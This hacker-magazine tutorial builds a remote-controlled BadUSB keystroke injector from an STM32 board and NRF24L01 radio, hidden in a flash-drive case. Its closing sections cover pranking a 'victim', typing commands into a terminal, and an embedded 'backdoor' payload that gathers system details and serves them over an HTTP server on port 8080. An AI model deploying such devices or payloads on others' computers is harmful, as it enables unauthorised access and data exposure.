Plenty of such tools have been developed over the last years, including the classical Rubber Ducky, a sophisticated variant involving the reflashing of a flash drive equipped with a suitable controller, as well as Arduino- and Digispark-based implementations.
It is also necessary to mention Pill Duck whose operation principle is close to the one described in this article. Pill Duck has detailed documentation, and I strongly suggest reviewing it to get an in-depth understanding of its concept.
Important: my goal was not to surpass the above devices, but perform a practical experiment – create a remote control for a PC.
USB HID
USB (Universal Serial Bus) is a de facto standard nowadays (to be specific, an entire family of standards) that has effectively replaced RS-232, LPT, and PS/2. Its primary purpose is to connect peripherals to computers.
info
For security purposes, workstations used for confidential and important tasks are still equipped with PS/2-based peripherals. Therefore, don’t try to hack a nuclear plant with your USB-based Rubber Ducky – it won’t work there.
The problem of the USB protocol is that its main advantages can be easily turned into disadvantages. First of all, this relates to the complexity of its information exchange procedure, especially at the initial moment. The problem originates from the plug’n’play concept: peripherals are initialized immediately after the connection. The slave device sends its information to the host, which allows the system to load the required driver and start communicating with the peripheral.
From the user perspective, this is very convenient; but such versatility has a drawback: the USB specifications constitute several large volumes. Fortunately, my objective – keyboard and mouse emulation – is pretty simple and common.
The device I am going to create belongs to the HID (Human Interface Device) class; so, if I tell the host that the new peripheral is a standard keyboard and no special drivers are required for it, the attacked PC will use the standard drivers.
What you have to remember is that USB communication is always initiated by the host and uses packets. Their size is specified in device descriptors always requested by the host during the initialization.
Microcontroller firmware
The easiest way to create a USB device is to take a suitable microcontroller and write firmware for it. In theory, nearly any microcontroller can be used for this purpose because all you need to emulate the USB protocol is GPIO and some libraries (it’s definitely tempting to try emulating USB with subsequent emulation of the HID and ‘user input’!). But it’s much more convenient to select a microcontroller equipped with the required peripherals.
The most famous Arduino board supporting this functionality is ATmega32u4-based Leonardo. This microcontroller contains a hardware USB block, while the Arduino IDE offers a number of sketches and libraries for mouse and keyboard. Arduino Due, a more powerful ARM-based version, will fit as well. But for a number of reasons, I prefer STM32 microcontrollers; accordingly, my project is based on STM32F103C8T6. This microchip is available on the Blue Pill development board, which is very convenient for prototyping.
Descriptors
I will use one of the ibopencm3 examples that emulates mouse moves. The descriptor required for my purposes, looks as follows:
const struct usb_device_descriptor dev_descr = { // Device descriptor .bLength = USB_DT_DEVICE_SIZE, .bDescriptorType = USB_DT_DEVICE, .bcdUSB = 0x0200, .bDeviceClass = 0, .bDeviceSubClass = 0, .bDeviceProtocol = 0, .bMaxPacketSize0 = 64, .idVendor = 0x0483, // VID .idProduct = 0x5710, // PID .bcdDevice = 0x0200, .iManufacturer = 1, // String numbers in usb_strings[], .iProduct = 2, // starting from the first string (!), not from .iSerialNumber = 3, // the null one (as you could expect) .bNumConfigurations = 1,};static const uint8_t hid_report_descriptor[] = { 0x05, 0x01, /* USAGE_PAGE (Generic Desktop) */ 0x09, 0x02, /* USAGE (Mouse) */ 0xa1, 0x01, /* COLLECTION (Application) */ 0x09, 0x01, /* USAGE (Pointer) */ 0xa1, 0x00, /* COLLECTION (Physical) */ 0x05, 0x09, /* USAGE_PAGE (Button) */ 0x19, 0x01, /* USAGE_MINIMUM (Button 1) */ 0x29, 0x03, /* USAGE_MAXIMUM (Button 3) */ 0x15, 0x00, /* LOGICAL_MINIMUM (0) */ 0x25, 0x01, /* LOGICAL_MAXIMUM (1) */ 0x95, 0x03, /* REPORT_COUNT (3) */ 0x75, 0x01, /* REPORT_SIZE (1) */ 0x81, 0x02, /* INPUT (Data,Var,Abs) */ 0x95, 0x01, /* REPORT_COUNT (1) */ 0x75, 0x05, /* REPORT_SIZE (5) */ 0x81, 0x01, /* INPUT (Cnst,Ary,Abs) */ 0x05, 0x01, /* USAGE_PAGE (Generic Desktop) */ 0x09, 0x30, /* USAGE (X) */ 0x09, 0x31, /* USAGE (Y) */ 0x09, 0x38, /* USAGE (Wheel) */ 0x15, 0x81, /* LOGICAL_MINIMUM (-127) */ 0x25, 0x7f, /* LOGICAL_MAXIMUM (127) */ 0x75, 0x08, /* REPORT_SIZE (8) */ 0x95, 0x03, /* REPORT_COUNT (3) */ 0x81, 0x06, /* INPUT (Data,Var,Rel) */ 0xc0, /* END_COLLECTION */ 0x09, 0x3c, /* USAGE (Motion Wakeup) */ 0x05, 0xff, /* USAGE_PAGE (Vendor Defined Page 1) */ 0x09, 0x01, /* USAGE (Vendor Usage 1) */ 0x15, 0x00, /* LOGICAL_MINIMUM (0) */ 0x25, 0x01, /* LOGICAL_MAXIMUM (1) */ 0x75, 0x01, /* REPORT_SIZE (1) */ 0x95, 0x02, /* REPORT_COUNT (2) */ 0xb1, 0x22, /* FEATURE (Data,Var,Abs,NPrf) */ 0x75, 0x06, /* REPORT_SIZE (6) */ 0x95, 0x01, /* REPORT_COUNT (1) */ 0xb1, 0x01, /* FEATURE (Cnst,Ary,Abs) */ 0xc0 /* END_COLLECTION */};static const struct { struct usb_hid_descriptor hid_descriptor; struct { uint8_t bReportDescriptorType; uint16_t wDescriptorLength; } __attribute__((packed)) hid_report;} __attribute__((packed)) hid_function = { .hid_descriptor = { .bLength = sizeof(hid_function), .bDescriptorType = USB_DT_HID, .bcdHID = 0x0100, .bCountryCode = 0, .bNumDescriptors = 1, }, .hid_report = { .bReportDescriptorType = USB_DT_REPORT, .wDescriptorLength = sizeof(hid_report_descriptor), }};
Nearly a half of these parameters are standard for many compatible devices. So, I am primarily interested in the PID (Product ID) and VID (Vendor ID) parameters. If I alter them, I will be able to impersonate any device manufactured by any vendor (note that the legitimacy of such impersonations raises serious concerns; so, think twice prior to doing so).
const struct usb_endpoint_descriptor hid_endpoint = { // Endpoint descriptor .bLength = USB_DT_ENDPOINT_SIZE, .bDescriptorType = USB_DT_ENDPOINT, .bEndpointAddress = 0x81, // IN endpoint address .bmAttributes = USB_ENDPOINT_ATTR_INTERRUPT, .wMaxPacketSize = 4, // Maximum packet size .bInterval = 0x02, // Polling interval (ms)};const struct usb_interface_descriptor hid_iface = { .bLength = USB_DT_INTERFACE_SIZE, .bDescriptorType = USB_DT_INTERFACE, .bInterfaceNumber = 0, .bAlternateSetting = 0, .bNumEndpoints = 1, .bInterfaceClass = USB_CLASS_HID, .bInterfaceSubClass = 1, /* boot */ .bInterfaceProtocol = 2, /* mouse */ .iInterface = 0, .endpoint = &hid_endpoint, .extra = &hid_function, .extralen = sizeof(hid_function),};
The following parameters in the endpoint descriptor are of interest:
- its address
.
;bEndpointAddress = 0x81 - maximum packet size
.
; andwMaxPacketSize = 4 - polling interval
.
.bInterval = 0x02
The endpoint address is of no importance for my purposes; so, I leave it as is. By contrast, the maximum packet size must correspond to the report structure described in hid_report_descriptor[
. In this particular case, it’s four bytes.
const struct usb_interface ifaces[] = {{ .num_altsetting = 1, .altsetting = &hid_iface, }};const struct usb_config_descriptor config = { .bLength = USB_DT_CONFIGURATION_SIZE, .bDescriptorType = USB_DT_CONFIGURATION, .wTotalLength = 0, .bNumInterfaces = 1, .bConfigurationValue = 1, .iConfiguration = 0, .bmAttributes = 0xC0, .bMaxPower = 0x32, .interface = ifaces,};static const char *usb_strings[] = { // Strings displayed in the device description "Black Sphere Technologies", "HID Demo", "DEMO",};
If you want, you can fill in usb_strings[
in the end of the description as your taste and sense of humor suggest.
Let’s examine the report descriptor in more detail. The response of a standard mouse to a request received from the host consists of four bytes. The first byte transmits the state of the buttons (the lower three bits correspond to the right, left, and middle buttons; the upper five bits are not used). The remaining three bytes relate to movements along the X and Y axes and wheel rotation. These bytes are single-byte integers in the range from -127 to 127. Their values correspond to a single relative movement of the pointer.
The keyboard report is similar, although it consists of eight bytes. Bits of the first byte are responsible for modifier keys: RIGHT_GUI
, RIGHT_ALT
, RIGHT_SHIFT
, RIGHT_CTRL
, LEFT_GUI
, LEFT_ALT
, LEFT_SHIFT
, and LEFT_CTRL
. The next byte is reserved for compatibility; generally speaking, it can be ignored. Each of the next six bytes corresponds to one pressed key: such a multitouch for six touches (aside from modifiers). The keyboard descriptor looks as follows:
...0x05, 0x01,0x09, 0x06, // Usage (Keyboard)0xA1, 0x01, // Collection (Application)0x05, 0x07, // Usage Page (Kbrd/Keypad)0x19, 0xE0, // Usage Minimum (0xE0)0x29, 0xE7, // Usage Maximum (0xE7)0x15, 0x00, // Logical Minimum (0)0x25, 0x01, // Logical Maximum (1)0x75, 0x01, // Report Size (1)0x95, 0x08, // Report Count (8)0x81, 0x02, // Input (Data,Var,Abs,No Wrap,Linear,Preferred State,No Null)0x81, 0x01, // Input (Const,Array,Abs,No Wrap,Linear,Preferred State,No Null)0x19, 0x00, // Usage Minimum (0x00)0x29, 0x65, // Usage Maximum (0x65)0x15, 0x00, // Logical Minimum (0)0x25, 0x65, // Logical Maximum (101)0x75, 0x08, // Report Size (8)0x95, 0x06, // Report Count (6)0x81, 0x00, // Input (Data,Array,Abs,No Wrap,Linear,Preferred State,No Null)0xC0, // End Collection…
There is a useful website that allows to analyze and edit descriptors. In addition, there is an officially recommended application called USB HID Descriptor tool. It’s available only for Windows, but can be run on Wine as well.
Composite device.
Done with the input devices and their descriptors. The next question is: can I combine a keyboard and a mouse into a single device? According to a tutorial on composite devices, if I add the report
field in the report descriptors for the mouse and keyboard, I will be able to combine them. The reports from my peripherals will become longer by one byte, but the host will read its value and know what device has sent this report.
The final version of my HID descriptor looks as follows:
...0x05, 0x01,0x09, 0x06, // Usage (Keyboard)0xA1, 0x01, // Collection (Application)0x85, 0x01, // Report ID0x05, 0x07, // Usage Page (Kbrd/Keypad)0x19, 0xE0, // Usage Minimum (0xE0)0x29, 0xE7, // Usage Maximum (0xE7)0x15, 0x00, // Logical Minimum (0)0x25, 0x01, // Logical Maximum (1)0x75, 0x01, // Report Size (1)0x95, 0x08, // Report Count (8)0x81, 0x02, // Input (Data,Var,Abs,No Wrap,Linear,Preferred State,No Null)0x81, 0x01, // Input (Const,Array,Abs,No Wrap,Linear,Preferred State,No Null)0x19, 0x00, // Usage Minimum (0x00)0x29, 0x65, // Usage Maximum (0x65)0x15, 0x00, // Logical Minimum (0)0x25, 0x65, // Logical Maximum (101)0x75, 0x08, // Report Size (8)0x95, 0x06, // Report Count (6)0x81, 0x00, // Input (Data,Array,Abs,No Wrap,Linear,Preferred State,No Null)0xC0, // End Collection0x05, 0x01, // Usage Page (Generic Desktop)0x09, 0x02, // Usage (Mouse)0xA1, 0x01, // Collection (Application)0x09, 0x01, // Usage (Pointer)0xA1, 0x00, // Collection (Physical)0x85, 0x02, // Report ID0x05, 0x09, // Usage Page (Buttons)0x19, 0x01, // Usage Minimum (01)0x29, 0x03, // Usage Maximum (03)0x15, 0x00, // Logical Minimum (0)0x25, 0x01, // Logical Maximum (0)0x95, 0x03, // Report Count (3)0x75, 0x01, // Report Size (1)0x81, 0x02, // Input (Data, Variable, Absolute)0x95, 0x01, // Report Count (1)0x75, 0x05, // Report Size (5)0x81, 0x01, // Input (Constant) ;5 bit padding0x05, 0x01, // Usage Page (Generic Desktop)0x09, 0x30, // Usage (X)0x09, 0x31, // Usage (Y)0x15, 0x81, // Logical Minimum (-127)0x25, 0x7F, // Logical Maximum (127)0x75, 0x08, // Report Size (8)0x95, 0x02, // Report Count (2)0x81, 0x06, // Input (Data, Variable, Relative)0xC0, 0xC0, // End Collection,End Collection…
Important: don’t forget to adjust the maximum report size: now it’s nine bytes. The reports look as follows:
Keyboard
1 REPORT ID = 1
2 MOD_KEYS
3 RESERVED
4 KEY1
5 KEY2
6 KEY3
7 KEY4
8 KEY5
9 KEY6
Mouse
1 REPORT ID = 2
2 KEYS
3 X
4 Y
Now I have to initialize the interface. No need to change anything in the example: at the start, the driver calls the hid_set_config
function that registers the endpoint 0x81 to be polled by the host in the future. In response, the host will receive the above reports. As for the hid_control_request
function, it serves just as a stub and does not affect anything.
Emulating keyboard
How to imitate a keystroke? Take for example the a
key whose code is 0x04. Note that the key codes generated by the keyboard are not ASCII codes, and the keyboard has no idea of its layout: such operations are performed at a higher level. The a
key press consists of two consecutive reports: the first one states that the key was pressed, while the second one states that it was released (never forget that the pressed key must be released!).
uint8_t pres_a[] = {1, 0, 0, 0x04, 0, 0, 0, 0, 0};uint8_t rel_a[] = {1, 0, 0, 0, 0, 0, 0, 0, 0};usbd_ep_write_packet(usbd_dev, 0x81, pres_a, 9);usbd_ep_write_packet(usbd_dev, 0x81, rel_a, 9);
Important: all transactions are initialized by the host and can be postponed. Therefore, you have to make sure that the report has actually been sent. To do so, check the value returned by usbd_ep_write_packet
. You also have to add the ASCII translation function to the keycode, which is pretty easy: many ready-to-use implementations are available on the Internet. I used a keycode library by Edward Emelianov with minimum adjustments.
Then I write two short functions to be able to type strings and press hotkeys.
void send_word(char *wrd) { do { while (9 != usbd_ep_write_packet(usbd_dev, 0x81, press_key(*wrd), 9)); while (9 != usbd_ep_write_packet(usbd_dev, 0x81, release_key(), 9)); } while (*(++wrd));}void send_shortkey(char key,uint8_t mod) { while(9 != usbd_ep_write_packet(usbd_dev, 0x81, press_key_mod(key, mod), 9)); while(9 != usbd_ep_write_packet(usbd_dev, 0x81, release_key(), 9));}
I use a simple example to check the code:
send_shortkey('t', MOD_CTRL | MOD_ALT); // Ctrl + Alt + t - open consolefor (uint32_t i = 0; i < 0x2FFFFF; i++) __asm__("nop");send_word("echo hello world!\n")
Now I can interact with the console impersonating the user of the attacked computer. It’s all about selecting the right delay time; otherwise the trick won’t work.
Emulating mouse
On the one hand, mouse emulation is easier (its report is shorter), but on the other hand, it’s more complicated. The point is that X and Y are relative coordinates (i.e. a single step of movement), and the maximum length in a standard situation is 127 steps along each axis. If you sniff traffic from a mouse, you’ll see that when it’s moved, it sends numbers in the X and Y fields proportional to the movement speed; while when it’s idle, it sends zeros.
So, I am going to write a function to move to a point with given relative coordinates; the trajectory in this particular case is of no importance, while the speed is constant.
void mouse_move2(int dx, int dy){ uint8_t temp[] = {2, 0, 0, 0}; int8_t stepx = 0, stepy = 0; if (dx) if (dx > 0) stepx = 1; else stepx =- 1; if (dy) if (dy > 0) stepy = 1; else stepy =- 1; while (dx || dy) { if (dx) { temp[2] = stepx; dx -= stepx; } else temp[2] = 0; if (dy) { temp[3] = stepy; dy -= stepy; } else temp[3] = 0; usbd_ep_write_packet(usbd_dev, 0x81, temp, 4); delay_us(100); } temp[2] = 0; temp[3] = 0; usbd_ep_write_packet(usbd_dev, 0x81, temp, 4);}
The cursor will move diagonally, and then vertically or horizontally until it reaches the given point; I didn’t add Bresenham’s line algorithm to the function as it seems redundant in it. If you really want to get to a certain point on the screen, you can use a simple hack: first, go to the conditional zero (i.e. the upper left corner; make sure to set the movement steps significantly larger than the screen resolution) and then move to the desired point from there.
You can also use a different approach: implement the mouse together with a touchscreen emulator that provides absolute coordinates.
So, now I can enter text, press modifier keys, and move the cursor; but one important element is still missing.
Radio control
Many BadUSB devices have a drawback: they start automatically after being turned on (or after a certain period of time). Sometimes, this feature is handy, but sometimes it’s not: it’s much better to control the device remotely and be able to wait for the right moment (such models exist as well).
For many reasons, I didn’t want to use ESP12E in my device; first of all, because it’s too large for a USB stick. Instead, I am going to use NRF24L01, which seems to be a perfect radio module due to its high transmission speed, low power consumption, and, most importantly, miniature size.
I expected to port the required library on NRF24 in an hour or two. Too bad, this task turned out to be much more complicated than I thought.
The problem is that Chinese online stores offer dozens of NRF24L01 clones, and all of them are slightly different (leaving aside the malfunctioning ones). For instance, I only managed to run a variant with a variable packet length – and not at the first attempt. An excellent tutorial was of great assistance.
The best way to overcome defects of low-quality clones is full initialization (i.e. values are explicitly written in all registers). This negates effects of incorrect default settings. An interesting detail that, for some reason, is rarely and briefly mentioned in the manuals: without the ACTIVATE (0x50) command with the 0x73 parameter going after it, no information can be written to the FEATURE and DYNPD registers and, accordingly, it’s impossible to initialize the device. To find this out, I had to review plenty of tutorials and analyze traffic on the SPI bus (by the way, the Sigrock utility includes a handy NRF24L01 protocol decoder).
The resultant initialization code is as follows:
void nrf_toggle_features(void) { NRF_CSN_LO(); /* Without this command, you cannot set an arbitrary packet size; * the instruction does not always execute correctly at the first attempt */ NRF_SPI_TRANSFER(ACTIVATE); // Activates the FEATURE register NRF_SPI_TRANSFER(0x73); NRF_WSPI(); NRF_CSN_HI();}void nrf_init(void) { uint8_t self_addr[] = {0xE7, 0xE7, 0xE7, 0xE7, 0xE7}; // Your address uint8_t remote_addr[] = {0xC2, 0xC2, 0xC2, 0xC2, 0xC2}; // Address of the remote target NRF_CE_HI(); delay_us(500); // FEATURE must be activated from the very beginning nrf_wreg(FEATURE, 0x04); while(nrf_rreg(FEATURE)!=0x4) { nrf_toggle_features(); // delay_us(500); nrf_wreg(FEATURE, 0x04); // Arbitrary packet size // delay_us(500); } nrf_wreg(CONFIG, 0x0f); // delay_us(500); nrf_wreg(EN_AA, 0x02); // Enable Pipe1 nrf_wreg(EN_RXADDR, 0x03); // Enable Pipe1 nrf_wreg(SETUP_AW, 0x03); // Setup address width = 5 bytes nrf_wreg(SETUP_RETR, 0x5f); // 250us, 2 retrans nrf_wreg(RF_CH, 0); // Frequency of 2400 MHz nrf_write(RX_ADDR_P0,remote_addr,5); nrf_write(TX_ADDR,remote_addr,5); nrf_write(RX_ADDR_P0,remote_addr,5); nrf_write(RX_ADDR_P1,self_addr,5); nrf_wreg(RF_SETUP, 0x06); // TX_PWR:0dBm, Datarate:1Mbps nrf_wreg(RX_PW_P0, 32); nrf_wreg(RX_PW_P1, 32); // 32 nrf_wreg(DYNPD, 0x03); // (1 << DPL_P0) | (1 << DPL_P1)); NRF_CE_HI();}
After a successful initialization, everything works smoothly: after all, the data transmission and reception procedures are pretty trivial. I set low the CE line of the SPI interface, switch the module to the transmission mode by setting the least significant bit in CONFIG
to zero, and write the transmitted string after theWR_TX_PLOAD
command. Then I have to raise the CE line by 25 μs several times until the transmission buffer gets empty.
uint8_t nrf_send(uint8_t *data,uint8_t len) { uint8_t fifo; NRF_CE_LO(); nrf_flushtx(); nrf_wreg(CONFIG,0x0e); // Transmission mode delay_us(25); nrf_write_bufer(WR_TX_PLOAD,data,len); NRF_CE_HI(); delay_us(50); NRF_CE_LO(); while(!(nrf_rreg(FIFO_STATUS) & TX_EMPTY)) { NRF_CE_HI(); delay_us(25); NRF_CE_LO(); }}
The reception is implemented as follows: I switch the module to the transmission mode, raise the CE line and wait for the falling edge on the IRQ pin (EXTI0
). Then I check whether the status register contains a received packet, find out the packet size, and read the data using the RD_PX_PLOAD
command. Finally, it is necessary to reset the interrupt.
#define nrf_rrx_payload_width() nrf_rreg(R_RX_PL_WID)uint8_t nrf_status() { uint8_t data = 0; NRF_CSN_LO(); data = NRF_SPI_TRANSFER(NOP); NRF_WSPI(); NRF_CSN_HI(); return data;}void exti0_isr(void) { exti_reset_request(EXTI0); gpio_toggle(GPIOA, GPIO12); uint8_t status, temp, len; // uint8_t data[32] = {0}; status = nrf_status(); ... if (status & RX_DR) { len = nrf_rrx_payload_width(); nrf_read(RD_RX_PLOAD, data, len); // printf("DATA RECIV %d: %s\r\n",len,data); // run_cmd(data); cmd_rcv = 1; // The handler must not be launched in the interrupt } nrf_wreg(STATUS, status); // Clears the reception flag (RX_DR) ...}
Of course, the reception can be implemented without an interrupt as well. You just need to wait until the RD_RX bit is set in the status register during the cycle. But in my opinion, the interrupt makes it easier and faster. With regards to the addresses, it is not really necessary to swap the RX and TX addresses because the transmitter listens to the address specified in TX in the P0 channel. This is required to receive the ASK signal. The main benefit is that devices with the same address settings can communicate with each other in both directions.
Data exchange protocol
NRF24L01 does not provide a high-level protocol for communication between devices. My solution is simple: I send commands in a text string, while the receiver tries to find the instructions in this text using the strstr (
function. If no suitable lexical elements are found, the received string is immediately transmitted to the keyboard emulator. This feature can be used in the future to expand the device’s functionality because the remote control can receive commands via UART.
The functions used to receive and send commands are shown below.
void run_cmd() { if (strstr(data, "WSR")) run_script_gzip(info_payload); else if (strstr(data, "TEST")) send_word("Hello world!\n"); else if(strstr(data, "PK2 ")) pk2_decode_pres_key(data); else if (strstr(data, "MSHIFT")) mouse_move_rand(); .... else if (strstr(data, "BASE641")) cat_ascii_art_gzip(girl_1_base64); else if (strstr(data, "BASE642")) cat_ascii_art_gzip(girl_base64); else send_word(data);}
Hex codes in these functions are the key codes read from the keypad controller of the remote control. The PCF8574 microcircuit (i.e. an I2C I/O port expander) is used as the controller.
void key_proc(uint8_t *key) { /* keyboard layout * 0xFE 0x7F 0xFE 0xF7 0xEF * 0xFD 0xBF 0xFB 0xBF * 0xFB 0xDF 0xFD 0x7F 0xDF * 0xF7 0xEF */ if (*key == 0xFF) return; // if (key == 0xFF) sleep(); printf("proc %d\r\n",*key); switch(*key) { case 0xFE: nrf_send("BIRD", 4); break; case 0xF7: nrf_send("PK2 82 0", 8); // key_up break; case 0x7F: nrf_send("PK2 81 0", 8); // key_down break; case 0xFD: nrf_send("WSR", 3); break; case 0xBF: nrf_send("PK2 44 0", 8); // space break; case 0xFB: nrf_send("PK2 42 0", 8); // backspace break; case 0xDF: nrf_send("MSHIFT", 6); break; case 0xEF: nrf_send("GIRL", 4); break; } *key = 0xFF;}
Hardware implementation
The device scheme is shown below. The remote control is on the left, while the emulator, on the right.
Initially, I assembled the components on prototyping boards. The following important things should be kept in mind during the preliminary assembly. First of all, a power supply capacitor must be soldered to the NRF24 module. Taking that, most probably, it is hanging on wires, 100 μF should suffice. The capacitor will eliminate the power supply problem if something goes wrong. Also, if power is supplied from two sources at once (on both sides of the built-in stabilizer), this can kill the Blue Pill power circuit. Therefore, always disconnect the auxiliary power source when the device is USB-powered.
warning
It is always risky to plug a handmade device into a USB port of your computer: in the worst case scenario, you may destroy the USB controller. Therefore, if you really want to try your creation but don’t fully trust your assembly and soldering skills, use an external USB hub (although this does not give a 100% safety guarantee, too).
I decided not to use a shift register as the keyboard controller in my remote control (as was done in the handmade phone and MP3 player). It turned out that the PCF8574 I/O port expander is suited for this function much better. Its main advantage is the interrupt signal that simplifies the interaction with the keyboard on the microcontroller side. In addition, I2C has two lines, while the shift register interface requires at least three lines. The chip is not much more expensive: its retail price is some fifty cents.
The ready-to-use prototype is shown below. Of course, not everything was working smoothly from the very beginning. But ultimately, all the problems have been solved.
As you understand, the device could not be used in this form; so, I had to redesign it. A flash drive attracted my attention, and I decided to pack everything into a premade and well-recognizable case. The flash drive’s board was 14 by 34 mm in size; so, I had to use double-sided mounting to fit my device into the case.
This was my first experience in double-sided mounting, and frankly speaking, it wasn’t as difficult as I had expected. Without false modesty, the final result has surpassed my expectations. The photo below shows the device and the original flash drive.
My board has perfectly fit into the case.
I also had to solder a wire atop to connect the LED (I totally forgot about it when I was wiring the board). Time to attach the cover.
While transforming the remote control prototype into the final version, I decided to optimize the power supply. The transmitting component requires 3.3V for stable operation. Of course, the voltage could be lowered to 3V to be able to power the circuit from two AA batteries. But such a solution doesn’t allow to use the charge of the batteries to the full extent because their final voltage is some 1V (or 2V for two sources connected in series), which is insufficient for the remote control.
Fully charged Ni-MH batteries provide 2.4V, which is also not enough. An ME2108A-based step-up-converter turned out to be the optimum solution. With a minimum set of external components, the efficiency of this microcircuit reaches 85%. This makes it possible to power the device from two or even one battery.
I assembled the remote, fixed a few mistakes (I forgot to install pull-up resistors for the PCF8574), and the device started working. Then I measured the current consumption from one battery, and the result shocked me: whopping 250 mA! Of course, this wasn’t acceptable; so, I started figuring out how to reduce the power consumption.
Power optimization
The microcontroller doesn’t have to be on all the time; the device needs it only when the button is pressed. Remember the above-mentioned interrupt signal from the keyboard controller? It turned out to be very useful. The system waits for the button to be pressed, then wakes up the circuit, sends data on the air, and goes to sleep again. In addition, switching NRF24L01 to the standby mode allows to further reduce the consumption. In the end, I decided to turn the LED off to save a few milliamps.
Important: when the microcontroller wakes up, the RCC unit is clocked directly from the internal 8-MHz generator. This disrupts timing of all interfaces; so, I need a function to reconfigure the clock.
void sleep() { NRF_CE_LO(); // Turn off the receiver in NRF24 printf("Going to sleep\n\r"); // Set up the sleep mode (STOP); EXIT interrupt is used to exit SCB_SCR |= SCB_SCR_SLEEPDEEP; PWR_CR &= ~PWR_CR_PDDS; PWR_CR |= PWR_CR_LPDS; PWR_CR |= PWR_CR_CWUF; gpio_clear(GPIOB,GPIO12); // Saving additional 0.3 mA sleep_mode = 1; // Remember that the device was switched to the sleep mode __asm__("WFI");}void wake() { // After awakening, the clock must be reconfigured! rcc_clock_setup_in_hsi_out_48mhz(); gpio_set(GPIOB, GPIO12); NRF_CE_HI(); // Turn the receiver on sleep_mode = 0;}
These simple tricks reduced the power consumption by more than 500 times! The final measured value was some 0.5 mA, which is a very good result.
Application scenarios
How to use the toolkit? First of all, you can use it as a remote control. Being an Arch Linux user, I really like the possibility to control MPlayer with hotkeys.
It’s not a big deal to familiarize MPlayer with your device. Sending the PK2
string from the remote control emulates pressing the key whose code isA
and whose modifier is B
. These two values can be used to describe any key and nearly any key combination.
Now it’s time to have some fun.
warning
Information provided below is intended for educational purposes only; by no means it should be treated as a guideline to follow. Neither the author nor the Editorial Board can be held liable for any damages caused by improper usage of this information. Remember that illegal actions are punishable under respective laws.
Everything depends on your imagination. Using this device, you can prank other people by pressing hotkeys at most inopportune moments (hint: the [Alt+F4] combination frustrates Windows users most of all).
‘Buggy’ mouse
No doubt you know how annoying unresponsive and poorly performing mice are, especially when you are working or playing. To simulate such a mouse, all you have to do is write a simple function that randomly moves the cursor:
void mouse_move_rand(void) { int dx, dy; dx = (rand() % 255) - 127; dy = (rand() % 255) - 127; mouse_move2(dx, dy);}
The quality of the pseudo-random number generator is of no importance here. However, for the sake of perfection, you can initialize the generator with a random number from the ADC.
static uint16_t get_random(void) { // Getting a random number from the ADC uint16_t temp; uint8_t channel = 16; uint16_t adc = 0; rcc_periph_clock_enable(RCC_GPIOA); rcc_periph_clock_enable(RCC_ADC1); rcc_set_adcpre(RCC_CFGR_ADCPRE_PCLK2_DIV2); adc_power_off(ADC1); /* I configure everything for one single conversion. */ adc_disable_scan_mode(ADC1); adc_set_single_conversion_mode(ADC1); adc_disable_external_trigger_regular(ADC1); adc_set_right_aligned(ADC1); /* I want to read the temperature sensor, so I have to enable it. */ adc_enable_temperature_sensor(); adc_set_sample_time_on_all_channels(ADC1, ADC_SMPR_SMP_28DOT5CYC); adc_power_on(ADC1); /* Wait for ADC starting up. */ for (uint32_t i = 0; i < 800000; i++) __asm__("nop"); //adc_reset_calibration(ADC1); //adc_calibrate(ADC1); adc_set_regular_sequence(ADC1, 1, &channel); for (uint8_t i = 0; i < 16; i++) { temp <<= 1; adc_start_conversion_direct(ADC1); /* Wait for end of conversion. */ while (!(ADC_SR(ADC1) & ADC_SR_EOC)); temp|=ADC_DR(ADC1) & 0b1; // I need the two least significant bits } adc_power_off(ADC1); rcc_periph_clock_disable(RCC_ADC1); return temp;}
This is sufficient to initialize a PRNG. I press the button, the cursor moves in an arbitrary direction, and the victim – who uses the mouse to perform an important task – becomes frustrated.
Playing with text
You can draw some ASCII art in a text document by simply pressing a key. For instance, you can insert the bird shown below (I call it a wagtail, don’t ask why).
____________ __ ____________\_____ / /_ \ \ _____/ \_____ \____/ \____/ _____/ \_____ _____/ \___________ ___________/ /____\
To add it to the code, you will need a lot of quotes, line breaks, and escape characters . Doing this manually takes a while; so, you can use a shell script to recode the text image into a data array. The script below takes two arguments: the name of the file containing the image and the name of the output array.
#!/bin/zshif [ -z $2 ]; then NAME="ascii"; else NAME=$2; fi;N_LINE=$(wc -l $1|awk '{ print $1 }')echo "static const uint8_t ${NAME}[]=" >out
for i in {1..$N_LINE}do #echo $i STR=$(sed -n 's/\\/\\\\/g;s/"/\"/g;'"${i}p" $1) echo $STR echo "$STR'\\n'" >> out
doneecho ';' >> out
Executing commands
Time to do some real job. To be able to execute commands in Windows, type [Super+R], then type cmd
, and press Enter. Important: use proper delays because if you enter a command prior to the opening of the console window, it won’t have any effect. Such information for Windows systems can be found on the Internet.
The situation with Linux is not that simple. Of course, in most cases, you can rely on [Ctrl+F2], but then you will likely have to authenticate in the system, which is problematic. Therefore, for the sake of simplicity let’s assume that you already know the hotkey that calls the terminal emulator (e.g. [Ctrl+Alt+T]). In that situation, you can enter a single-line command or even write a short script.
void write_script_and_run_it() { send_shortkey('t',MOD_CTRL|MOD_ALT); // Ctrl + Alt + t - open console for(uint32_t i = 0; i < 0x2FFFFF; i++) __asm__("nop"); send_word("echo '#!/bin/zsh' >> payload.sh\n" "echo Candidum is the best!>> payload.sh\n" "echo 'for i in {1..100}'>> payload.sh\n" "echo 'do echo TEST payload script $i'>> payload.sh\n" "echo 'done'>> payload.sh\n" "echo 'rm payload.sh'\n" "clear\n" "chmod +x payload.sh\n" "./payload.sh\n");}
Too bad, this approach is neither handy nor rational because it requires plenty of extra commands.
Backdoor
There is a much more efficient and elegant way: a combination of streaming compression and encoding in Base64. The script shown below collects system information and opens a backdoor.
#!/bin/bashecho "*****************SYSTEM INFO*****************" > report.txt
echo "*****************RELEASE*****************" >> report.txt
cat /etc/*-release* >>report.txt
echo "*****************UNAME*****************" >> report.txt
uname -a >>report.txt
echo "*****************USER*****************" >> report.txt
who >>report.txt
whoami >>report.txt
echo "*****************IP*****************" >> report.txt
ip addr show >>report.txt
#cat report.txtpython -m http.server 8080 &
I use gzip to compress it ‘on the fly’ and convert the result into Base64 using the cat
command. After the processing, the following data array is added to the microcontroller firmware:
static const uint8_t info_payload[] = "H4sIAAAAAAACA42QvQ6CMBCAd57ihMSBBMrIZMJQExJBQ3VwLHBJSYQ2bRV9e3ETf1Juu5/vu8sF" "K1J3A6m5ER42QoIffgY7syMtIC+3+6+eDxvQqKS2sb3bf4aK7mjG6C96hjfcAkHbkDDSeEFuMJwm" "3P5TmRVOO3jXgfcIEV/mZLRyHjxO6Ew2FXjfLVqQH5z6TgFvWw1GyHHuDF6vesvVwwo5QNSDsFbF" "BvUNNaRJmsDaewJip36j5AEAAA==";
